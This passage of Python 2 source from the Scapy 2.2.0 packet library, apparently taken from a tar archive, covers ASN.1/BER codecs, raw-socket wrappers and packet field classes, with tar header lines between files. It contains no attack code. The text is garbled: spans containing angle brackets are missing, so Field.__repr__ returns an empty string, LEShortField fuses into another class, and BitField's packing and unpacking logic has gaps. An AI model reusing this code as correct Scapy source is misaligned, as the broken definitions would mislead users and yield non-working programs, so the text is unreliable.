BER_Decoding_Error("%s: No bytes while expecting a length" % cls.__name__, remaining=s) return BER_len_dec(s2) @classmethod def check_type_check_len(cls, s): l,s3 = cls.check_type_get_len(s) if len(s3) < l: raise BER_Decoding_Error("%s: Got %i bytes while expecting %i" % (cls.__name__, len(s3), l), remaining=s) return l,s3[:l],s3[l:] @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context cls.check_string(s) p = ord(s[0]) if p not in context: t = s if len(t) > 18: t = t[:15]+"..." raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) codec = context[p].get_codec(ASN1_Codecs.BER) return codec.dec(s,context,safe) @classmethod def dec(cls, s, context=None, safe=False): if not safe: return cls.do_dec(s, context, safe) try: return cls.do_dec(s, context, safe) except BER_BadTag_Decoding_Error,e: o,remain = BERcodec_Object.dec(e.remaining, context, safe) return ASN1_BADTAG(o),remain except BER_Decoding_Error, e: return ASN1_DECODING_ERROR(s, exc=e),"" except ASN1_Error, e: return ASN1_DECODING_ERROR(s, exc=e),"" @classmethod def safedec(cls, s, context=None): return cls.dec(s, context, safe=True) @classmethod def enc(cls, s): if type(s) is str: return BERcodec_STRING.enc(s) else: return BERcodec_INTEGER.enc(int(s)) ASN1_Codecs.BER.register_stem(BERcodec_Object) class BERcodec_INTEGER(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.INTEGER @classmethod def enc(cls, i): s = [] while 1: s.append(i&0xff) if -127 <= i < 0: break if 128 <= i <= 255: s.append(0) i >>= 8 if not i: break s = map(chr, s) s.append(BER_len_enc(len(s))) s.append(chr(cls.tag)) s.reverse() return "".join(s) @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) x = 0L if s: if ord(s[0])&0x80: # negative int x = -1L for c in s: x <<= 8 x |= ord(c) return cls.asn1_object(x),t class BERcodec_BOOLEAN(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN class BERcodec_ENUMERATED(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class BERcodec_NULL(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.NULL @classmethod def enc(cls, i): if i == 0: return chr(cls.tag)+"\0" else: return BERcodec_INTEGER.enc(i) class BERcodec_SEP(BERcodec_NULL): tag = ASN1_Class_UNIVERSAL.SEP class BERcodec_STRING(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.STRING @classmethod def enc(cls,s): return chr(cls.tag)+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) return cls.tag.asn1_object(s),t class BERcodec_BIT_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING class BERcodec_PRINTABLE_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class BERcodec_T61_STRING (BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class BERcodec_IA5_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class BERcodec_NUMERIC_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class BERcodec_VIDEOTEX_STRING(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class BERcodec_IPADDRESS(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS @classmethod def enc(cls, ipaddr_ascii): try: s = inet_aton(ipaddr_ascii) except Exception: raise BER_Encoding_Error("IPv4 address could not be encoded") return chr(cls.tag)+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) try: ipaddr_ascii = inet_ntoa(s) except Exception: raise BER_Decoding_Error("IP address could not be decoded", decoded=obj) return cls.asn1_object(ipaddr_ascii), t class BERcodec_UTC_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME class BERcodec_GENERALIZED_TIME(BERcodec_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class BERcodec_TIME_TICKS(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS class BERcodec_GAUGE32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class BERcodec_COUNTER32(BERcodec_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class BERcodec_SEQUENCE(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE @classmethod def enc(cls, l): if type(l) is not str: l = "".join(map(lambda x: x.enc(cls.codec), l)) return chr(cls.tag)+BER_len_enc(len(l))+l @classmethod def do_dec(cls, s, context=None, safe=False): if context is None: context = cls.tag.context l,st = cls.check_type_get_len(s) # we may have len(s) < l s,t = st[:l],st[l:] obj = [] while s: try: o,s = BERcodec_Object.dec(s, context, safe) except BER_Decoding_Error, err: err.remaining += t if err.decoded is not None: obj.append(err.decoded) err.decoded = obj raise obj.append(o) if len(st) < l: raise BER_Decoding_Error("Not enough bytes to decode sequence", decoded=obj) return cls.asn1_object(obj),t class BERcodec_SET(BERcodec_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class BERcodec_OID(BERcodec_Object): tag = ASN1_Class_UNIVERSAL.OID @classmethod def enc(cls, oid): lst = [int(x) for x in oid.strip(".").split(".")] if len(lst) >= 2: lst[1] += 40*lst[0] del(lst[0]) s = "".join([BER_num_enc(k) for k in lst]) return chr(cls.tag)+BER_len_enc(len(s))+s @classmethod def do_dec(cls, s, context=None, safe=False): l,s,t = cls.check_type_check_len(s) lst = [] while s: l,s = BER_num_dec(s) lst.append(l) if (len(lst) > 0): lst.insert(0,lst[0]/40) lst[1] %= 40 return cls.asn1_object(".".join([str(k) for k in lst])), t scapy-2.2.0/scapy/asn1/asn1.py0000644000175000017500000002121611430356065014142 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ ASN.1 (Abstract Syntax Notation One) """ import random from scapy.config import conf from scapy.error import Scapy_Exception,warning from scapy.volatile import RandField from scapy.utils import Enum_metaclass, EnumElement class RandASN1Object(RandField): def __init__(self, objlist=None): if objlist is None: objlist = map(lambda x:x._asn1_obj, filter(lambda x:hasattr(x,"_asn1_obj"), ASN1_Class_UNIVERSAL.__rdict__.values())) self.objlist = objlist self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" def _fix(self, n=0): o = random.choice(self.objlist) if issubclass(o, ASN1_INTEGER): return o(int(random.gauss(0,1000))) elif issubclass(o, ASN1_IPADDRESS): z = RandIP()._fix() return o(z) elif issubclass(o, ASN1_STRING): z = int(random.expovariate(0.05)+1) return o("".join([random.choice(self.chars) for i in range(z)])) elif issubclass(o, ASN1_SEQUENCE) and (n < 10): z = int(random.expovariate(0.08)+1) return o(map(lambda x:x._fix(n+1), [self.__class__(objlist=self.objlist)]*z)) return ASN1_INTEGER(int(random.gauss(0,1000))) ############## #### ASN1 #### ############## class ASN1_Error(Scapy_Exception): pass class ASN1_Encoding_Error(ASN1_Error): pass class ASN1_Decoding_Error(ASN1_Error): pass class ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error): pass class ASN1Codec(EnumElement): def register_stem(cls, stem): cls._stem = stem def dec(cls, s, context=None): return cls._stem.dec(s, context=context) def safedec(cls, s, context=None): return cls._stem.safedec(s, context=context) def get_stem(cls): return cls.stem class ASN1_Codecs_metaclass(Enum_metaclass): element_class = ASN1Codec class ASN1_Codecs: __metaclass__ = ASN1_Codecs_metaclass BER = 1 DER = 2 PER = 3 CER = 4 LWER = 5 BACnet = 6 OER = 7 SER = 8 XER = 9 class ASN1Tag(EnumElement): def __init__(self, key, value, context=None, codec=None): EnumElement.__init__(self, key, value) self._context = context if codec == None: codec = {} self._codec = codec def clone(self): # /!\ not a real deep copy. self.codec is shared return self.__class__(self._key, self._value, self._context, self._codec) def register_asn1_object(self, asn1obj): self._asn1_obj = asn1obj def asn1_object(self, val): if hasattr(self,"_asn1_obj"): return self._asn1_obj(val) raise ASN1_Error("%r does not have any assigned ASN1 object" % self) def register(self, codecnum, codec): self._codec[codecnum] = codec def get_codec(self, codec): try: c = self._codec[codec] except KeyError,msg: raise ASN1_Error("Codec %r not found for tag %r" % (codec, self)) return c class ASN1_Class_metaclass(Enum_metaclass): element_class = ASN1Tag def __new__(cls, name, bases, dct): # XXX factorise a bit with Enum_metaclass.__new__() for b in bases: for k,v in b.__dict__.iteritems(): if k not in dct and isinstance(v,ASN1Tag): dct[k] = v.clone() rdict = {} for k,v in dct.iteritems(): if type(v) is int: v = ASN1Tag(k,v) dct[k] = v rdict[v] = v elif isinstance(v, ASN1Tag): rdict[v] = v dct["__rdict__"] = rdict cls = type.__new__(cls, name, bases, dct) for v in cls.__dict__.values(): if isinstance(v, ASN1Tag): v.context = cls # overwrite ASN1Tag contexts, even cloned ones return cls class ASN1_Class: __metaclass__ = ASN1_Class_metaclass class ASN1_Class_UNIVERSAL(ASN1_Class): name = "UNIVERSAL" ERROR = -3 RAW = -2 NONE = -1 ANY = 0 BOOLEAN = 1 INTEGER = 2 BIT_STRING = 3 STRING = 4 NULL = 5 OID = 6 OBJECT_DESCRIPTOR = 7 EXTERNAL = 8 REAL = 9 ENUMERATED = 10 EMBEDDED_PDF = 11 UTF8_STRING = 12 RELATIVE_OID = 13 SEQUENCE = 0x30#XXX 16 ?? SET = 0x31 #XXX 17 ?? NUMERIC_STRING = 18 PRINTABLE_STRING = 19 T61_STRING = 20 VIDEOTEX_STRING = 21 IA5_STRING = 22 UTC_TIME = 23 GENERALIZED_TIME = 24 GRAPHIC_STRING = 25 ISO646_STRING = 26 GENERAL_STRING = 27 UNIVERSAL_STRING = 28 CHAR_STRING = 29 BMP_STRING = 30 IPADDRESS = 0x40 COUNTER32 = 0x41 GAUGE32 = 0x42 TIME_TICKS = 0x43 SEP = 0x80 class ASN1_Object_metaclass(type): def __new__(cls, name, bases, dct): c = super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register_asn1_object(c) except: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class ASN1_Object: __metaclass__ = ASN1_Object_metaclass tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, val): self.val = val def enc(self, codec): return self.tag.get_codec(codec).enc(self.val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.val) def __str__(self): return self.enc(conf.ASN1_default_codec) def strshow(self, lvl=0): return (" "*lvl)+repr(self)+"\n" def show(self, lvl=0): print self.strshow(lvl) def __eq__(self, other): return self.val == other def __cmp__(self, other): return cmp(self.val, other) class ASN1_DECODING_ERROR(ASN1_Object): tag = ASN1_Class_UNIVERSAL.ERROR def __init__(self, val, exc=None): ASN1_Object.__init__(self, val) self.exc = exc def __repr__(self): return "<%s[%r]{{%s}}>" % (self.__dict__.get("name", self.__class__.__name__), self.val, self.exc.args[0]) def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_force(ASN1_Object): tag = ASN1_Class_UNIVERSAL.RAW def enc(self, codec): if isinstance(self.val, ASN1_Object): return self.val.enc(codec) return self.val class ASN1_BADTAG(ASN1_force): pass class ASN1_INTEGER(ASN1_Object): tag = ASN1_Class_UNIVERSAL.INTEGER class ASN1_STRING(ASN1_Object): tag = ASN1_Class_UNIVERSAL.STRING class ASN1_BIT_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.BIT_STRING class ASN1_PRINTABLE_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1_T61_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1_IA5_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1_NUMERIC_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class ASN1_VIDEOTEX_STRING(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class ASN1_IPADDRESS(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1_UTC_TIME(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.UTC_TIME class ASN1_GENERALIZED_TIME(ASN1_STRING): tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class ASN1_TIME_TICKS(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.TIME_TICKS class ASN1_BOOLEAN(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.BOOLEAN class ASN1_ENUMERATED(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1_NULL(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.NULL class ASN1_SEP(ASN1_NULL): tag = ASN1_Class_UNIVERSAL.SEP class ASN1_GAUGE32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.GAUGE32 class ASN1_COUNTER32(ASN1_INTEGER): tag = ASN1_Class_UNIVERSAL.COUNTER32 class ASN1_SEQUENCE(ASN1_Object): tag = ASN1_Class_UNIVERSAL.SEQUENCE def strshow(self, lvl=0): s = (" "*lvl)+("# %s:" % self.__class__.__name__)+"\n" for o in self.val: s += o.strshow(lvl=lvl+1) return s class ASN1_SET(ASN1_SEQUENCE): tag = ASN1_Class_UNIVERSAL.SET class ASN1_OID(ASN1_Object): tag = ASN1_Class_UNIVERSAL.OID def __init__(self, val): val = conf.mib._oid(val) ASN1_Object.__init__(self, val) def __repr__(self): return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), conf.mib._oidname(self.val)) def __oidname__(self): return '%s'%conf.mib._oidname(self.val) conf.ASN1_default_codec = ASN1_Codecs.BER scapy-2.2.0/scapy/supersocket.py0000644000175000017500000001052311430356077015007 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SuperSocket. """ import socket,time from config import conf from data import * from scapy.error import warning class _SuperSocket_metaclass(type): def __repr__(self): if self.desc is not None: return "<%s: %s>" % (self.__name__,self.desc) else: return "<%s>" % self.__name__ class SuperSocket: __metaclass__ = _SuperSocket_metaclass desc = None closed=0 def __init__(self, family=socket.AF_INET,type=socket.SOCK_STREAM, proto=0): self.ins = socket.socket(family, type, proto) self.outs = self.ins self.promisc=None def send(self, x): sx = str(x) x.sent_time = time.time() return self.outs.send(sx) def recv(self, x=MTU): return conf.raw_layer(self.ins.recv(x)) def fileno(self): return self.ins.fileno() def close(self): if self.closed: return self.closed=1 if self.ins != self.outs: if self.outs and self.outs.fileno() != -1: self.outs.close() if self.ins and self.ins.fileno() != -1: self.ins.close() def sr(self, *args, **kargs): return sendrecv.sndrcv(self, *args, **kargs) def sr1(self, *args, **kargs): a,b = sendrecv.sndrcv(self, *args, **kargs) if len(a) > 0: return a[0][1] else: return None def sniff(self, *args, **kargs): return sendrecv.sniff(opened_socket=self, *args, **kargs) class L3RawSocket(SuperSocket): desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)" def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) if iface is not None: self.ins.bind((iface, type)) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types[sa_ll[3]] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) lvl = 3 try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) if lvl == 2: pkt = pkt.payload if pkt is not None: from arch import get_last_packet_timestamp pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): try: sx = str(x) x.sent_time = time.time() self.outs.sendto(sx,(x.dst,0)) except socket.error,msg: log_runtime.error(msg) class SimpleSocket(SuperSocket): desc = "wrapper arround a classic socket" def __init__(self, sock): self.ins = sock self.outs = sock class StreamSocket(SimpleSocket): desc = "transforms a stream socket into a layer 2" def __init__(self, sock, basecls=None): if basecls is None: basecls = conf.raw_layer SimpleSocket.__init__(self, sock) self.basecls = basecls def recv(self, x=MTU): pkt = self.ins.recv(x, socket.MSG_PEEK) x = len(pkt) if x == 0: raise socket.error((100,"Underlying stream socket tore down")) pkt = self.basecls(pkt) pad = pkt.getlayer(Padding) if pad is not None and pad.underlayer is not None: del(pad.underlayer.payload) while pad is not None and not isinstance(pad, NoPayload): x -= len(pad.load) pad = pad.payload self.ins.recv(x) return pkt if conf.L3socket is None: conf.L3socket = L3RawSocket import sendrecv scapy-2.2.0/scapy/fields.py0000644000175000017500000006542211501670533013711 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Fields: basic data structures that make up parts of packets. """ import struct,copy,socket from config import conf from volatile import * from data import * from utils import * from base_classes import BasePacket,Gen,Net ############ ## Fields ## ############ class Field: """For more informations on how this work, please refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf chapter ``Adding a New Field''""" islist=0 holds_packets=0 def __init__(self, name, default, fmt="H"): self.name = name if fmt[0] in "@=<>!": self.fmt = fmt else: self.fmt = "!"+fmt self.default = self.any2i(None,default) self.sz = struct.calcsize(self.fmt) self.owners = [] def register_owner(self, cls): self.owners.append(cls) def i2len(self, pkt, x): """Convert internal value to a length usable by a FieldLenField""" return self.sz def i2count(self, pkt, x): """Convert internal value to a number of elements usable by a FieldLenField. Always 1 except for list fields""" return 1 def h2i(self, pkt, x): """Convert human value to internal value""" return x def i2h(self, pkt, x): """Convert internal value to human value""" return x def m2i(self, pkt, x): """Convert machine value to internal value""" return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: x = 0 return x def any2i(self, pkt, x): """Try to understand the most input values possible and make an internal value from them""" return self.h2i(pkt, x) def i2repr(self, pkt, x): """Convert internal value to a nice representation""" return repr(self.i2h(pkt,x)) def addfield(self, pkt, s, val): """Add an internal value to a string""" return s+struct.pack(self.fmt, self.i2m(pkt,val)) def getfield(self, pkt, s): """Extract an internal value from a string""" return s[self.sz:], self.m2i(pkt, struct.unpack(self.fmt, s[:self.sz])[0]) def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if type(x) is list: x = x[:] for i in xrange(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def __repr__(self): return "" % (",".join(x.__name__ for x in self.owners),self.name) def copy(self): return copy.deepcopy(self) def randval(self): """Return a volatile object whose value is both random and suitable for this field""" fmtt = self.fmt[-1] if fmtt in "BHIQ": return {"B":RandByte,"H":RandShort,"I":RandInt, "Q":RandLong}[fmtt]() elif fmtt == "s": if self.fmt[0] in "0123456789": l = int(self.fmt[:-1]) else: l = int(self.fmt[1:-1]) return RandBin(l) else: warning("no random class for [%s] (fmt=%s)." % (self.name, self.fmt)) class Emph: fld = "" def __init__(self, fld): self.fld = fld def __getattr__(self, attr): return getattr(self.fld,attr) def __hash__(self): return hash(self.fld) def __eq__(self, other): return self.fld == other class ActionField: _fld = None def __init__(self, fld, action_method, **kargs): self._fld = fld self._action_method = action_method self._privdata = kargs def any2i(self, pkt, val): getattr(pkt, self._action_method)(val, self._fld, **self._privdata) return getattr(self._fld, "any2i")(pkt, val) def __getattr__(self, attr): return getattr(self._fld,attr) class ConditionalField: fld = None def __init__(self, fld, cond): self.fld = fld self.cond = cond def _evalcond(self,pkt): return self.cond(pkt) def getfield(self, pkt, s): if self._evalcond(pkt): return self.fld.getfield(pkt,s) else: return s,None def addfield(self, pkt, s, val): if self._evalcond(pkt): return self.fld.addfield(pkt,s,val) else: return s def __getattr__(self, attr): return getattr(self.fld,attr) class PadField: """Add bytes after the proxified field so that it ends at the specified alignment from its begining""" _fld = None def __init__(self, fld, align, padwith=None): self._fld = fld self._align = align self._padwith = padwith or "" def padlen(self, flen): return -flen%self._align def getfield(self, pkt, s): remain,val = self._fld.getfield(pkt,s) padlen = self.padlen(len(s)-len(remain)) return remain[padlen:], val def addfield(self, pkt, s, val): sval = self._fld.addfield(pkt, "", val) return s+sval+struct.pack("%is" % (self.padlen(len(sval))), self._padwith) def __getattr__(self, attr): return getattr(self._fld,attr) class MACField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "6s") def i2m(self, pkt, x): if x is None: return "\0\0\0\0\0\0" return mac2str(x) def m2i(self, pkt, x): return str2mac(x) def any2i(self, pkt, x): if type(x) is str and len(x) is 6: x = self.m2i(pkt, x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) if self in conf.resolve: x = conf.manufdb._resolve_MAC(x) return x def randval(self): return RandMAC() class IPField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "4s") def h2i(self, pkt, x): if type(x) is str: try: inet_aton(x) except socket.error: x = Net(x) elif type(x) is list: x = [self.h2i(pkt, n) for n in x] return x def resolve(self, x): if self in conf.resolve: try: ret = socket.gethostbyaddr(x)[0] except: pass else: if ret: return ret return x def i2m(self, pkt, x): return inet_aton(x) def m2i(self, pkt, x): return inet_ntoa(x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): return self.resolve(self.i2h(pkt, x)) def randval(self): return RandIP() class SourceIPField(IPField): def __init__(self, name, dstname): IPField.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: iff,x,gw = pkt.route() if x is None: x = "0.0.0.0" return IPField.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) if isinstance(dst,Gen): r = map(conf.route.route, dst) r.sort() if r[0] != r[-1]: warning("More than one possible route for %s"%repr(dst)) iff,x,gw = r[0] else: iff,x,gw = conf.route.route(dst) return IPField.i2h(self, pkt, x) class ByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "B") class XByteField(ByteField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class OByteField(ByteField): def i2repr(self, pkt, x): return "%03o"%self.i2h(pkt, x) class X3BytesField(XByteField): def __init__(self, name, default): Field.__init__(self, name, default, "!I") def addfield(self, pkt, s, val): return s+struct.pack(self.fmt, self.i2m(pkt,val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, "\x00"+s[:3])[0]) class ShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "H") class LEShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, ">4))+chr(0x41+(ord(x)&0xf)), x)) x = " "+x return x def m2i(self, pkt, x): x = x.strip("\x00").strip(" ") return "".join(map(lambda x,y: chr((((ord(x)-1)&0xf)<<4)+((ord(y)-1)&0xf)), x[::2],x[1::2])) class StrLenField(StrField): def __init__(self, name, default, fld=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) class FieldListField(Field): islist=1 def __init__(self, name, default, field, length_from=None, count_from=None): if default is None: default = [] # Create a new list for each instance Field.__init__(self, name, default) self.count_from = count_from self.length_from = length_from self.field = field def i2count(self, pkt, val): if type(val) is list: return len(val) return 1 def i2len(self, pkt, val): return sum( self.field.i2len(pkt,v) for v in val ) def i2m(self, pkt, val): if val is None: val = [] return val def any2i(self, pkt, x): if type(x) is not list: return [x] else: return x def addfield(self, pkt, s, val): val = self.i2m(pkt, val) for v in val: s = self.field.addfield(pkt, s, v) return s def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) val = [] ret="" if l is not None: s,ret = s[:l],s[l:] while s: if c is not None: if c <= 0: break c -= 1 s,v = self.field.getfield(pkt, s) val.append(v) return s+ret, val class FieldLenField(Field): def __init__(self, name, default, length_of=None, fmt = "H", count_of=None, adjust=lambda pkt,x:x, fld=None): Field.__init__(self, name, default, fmt) self.length_of=length_of self.count_of=count_of self.adjust=adjust if fld is not None: FIELD_LENGTH_MANAGEMENT_DEPRECATION(self.__class__.__name__) self.length_of = fld def i2m(self, pkt, x): if x is None: if self.length_of is not None: fld,fval = pkt.getfield_and_val(self.length_of) f = fld.i2len(pkt, fval) else: fld,fval = pkt.getfield_and_val(self.count_of) f = fld.i2count(pkt, fval) x = self.adjust(pkt,f) return x class StrNullField(StrField): def addfield(self, pkt, s, val): return s+self.i2m(pkt, val)+"\x00" def getfield(self, pkt, s): l = s.find("\x00") if l < 0: #XXX \x00 not found return "",s return s[l+1:],self.m2i(pkt, s[:l]) def randval(self): return RandTermString(RandNum(0,1200),"\x00") class StrStopField(StrField): def __init__(self, name, default, stop, additionnal=0): Field.__init__(self, name, default) self.stop=stop self.additionnal=additionnal def getfield(self, pkt, s): l = s.find(self.stop) if l < 0: return "",s # raise Scapy_Exception,"StrStopField: stop value [%s] not found" %stop l += len(self.stop)+self.additionnal return s[l:],s[:l] def randval(self): return RandTermString(RandNum(0,1200),self.stop) class LenField(Field): def i2m(self, pkt, x): if x is None: x = len(pkt.payload) return x class BCDFloatField(Field): def i2m(self, pkt, x): return int(256*x) def m2i(self, pkt, x): return x/256.0 class BitField(Field): def __init__(self, name, default, size): Field.__init__(self, name, default) self.rev = size < 0 self.size = abs(size) def reverse(self, val): if self.size == 16: val = socket.ntohs(val) elif self.size == 32: val = socket.ntohl(val) return val def addfield(self, pkt, s, val): val = self.i2m(pkt, val) if type(s) is tuple: s,bitsdone,v = s else: bitsdone = 0 v = 0 if self.rev: val = self.reverse(val) v <<= self.size v |= val & ((1L<= 8: bitsdone -= 8 s = s+struct.pack("!B", v >> bitsdone) v &= (1L<> (nb_bytes*8 - self.size - bn) if self.rev: b = self.reverse(b) bn += self.size s = s[bn/8:] bn = bn%8 b = self.m2i(pkt, b) if bn: return (s,bn),b else: return s,b def randval(self): return RandNum(0,2**self.size-1) class BitFieldLenField(BitField): def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt,x:x): BitField.__init__(self, name, default, size) self.length_of=length_of self.count_of=count_of self.adjust=adjust def i2m(self, pkt, x): return FieldLenField.i2m.im_func(self, pkt, x) class XBitField(BitField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt,x)) class EnumField(Field): def __init__(self, name, default, enum, fmt = "H"): i2s = self.i2s = {} s2i = self.s2i = {} if type(enum) is list: keys = xrange(len(enum)) else: keys = enum.keys() if filter(lambda x: type(x) is str, keys): i2s,s2i = s2i,i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k Field.__init__(self, name, default, fmt) def any2i_one(self, pkt, x): if type(x) is str: x = self.s2i[x] return x def i2repr_one(self, pkt, x): if self not in conf.noenum and not isinstance(x,VolatileValue) and x in self.i2s: return self.i2s[x] return repr(x) def any2i(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.any2i_one(pkt,z), x) else: return self.any2i_one(pkt,x) def i2repr(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.i2repr_one(pkt,z), x) else: return self.i2repr_one(pkt,x) class CharEnumField(EnumField): def __init__(self, name, default, enum, fmt = "1s"): EnumField.__init__(self, name, default, enum, fmt) k = self.i2s.keys() if k and len(k[0]) != 1: self.i2s,self.s2i = self.s2i,self.i2s def any2i_one(self, pkt, x): if len(x) != 1: x = self.s2i[x] return x class BitEnumField(BitField,EnumField): def __init__(self, name, default, size, enum): EnumField.__init__(self, name, default, enum) self.rev = size < 0 self.size = abs(size) def any2i(self, pkt, x): return EnumField.any2i(self, pkt, x) def i2repr(self, pkt, x): return EnumField.i2repr(self, pkt, x) class ShortEnumField(EnumField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "H") class LEShortEnumField(EnumField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, ">= 1 if self.multi: r = "+".join(r) return r class FixedPointField(BitField): def __init__(self, name, default, size, frac_bits=16): self.frac_bits = frac_bits BitField.__init__(self, name, default, size) def any2i(self, pkt, val): if val is None: return val ival = int(val) fract = int( (val-ival) * 2**self.frac_bits ) return (ival << self.frac_bits) | fract def i2h(self, pkt, val): int_part = val >> self.frac_bits frac_part = val & (1L << self.frac_bits) - 1 frac_part /= 2.0**self.frac_bits return int_part+frac_part def i2repr(self, pkt, val): return self.i2h(pkt, val) scapy-2.2.0/scapy/dadict.py0000644000175000017500000000575411430356072013675 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Direct Access dictionary. """ from error import Scapy_Exception ############################### ## Direct Access dictionnary ## ############################### def fixname(x): if x and x[0] in "0123456789": x = "n_"+x return x.translate("________________________________________________0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______abcdefghijklmnopqrstuvwxyz_____________________________________________________________________________________________________________________________________") class DADict_Exception(Scapy_Exception): pass class DADict: def __init__(self, _name="DADict", **kargs): self._name=_name self.__dict__.update(kargs) def fixname(self,val): return fixname(val) def __contains__(self, val): return val in self.__dict__ def __getitem__(self, attr): return getattr(self, attr) def __setitem__(self, attr, val): return setattr(self, self.fixname(attr), val) def __iter__(self): return iter(map(lambda (x,y):y,filter(lambda (x,y):x and x[0]!="_", self.__dict__.items()))) def _show(self): for k in 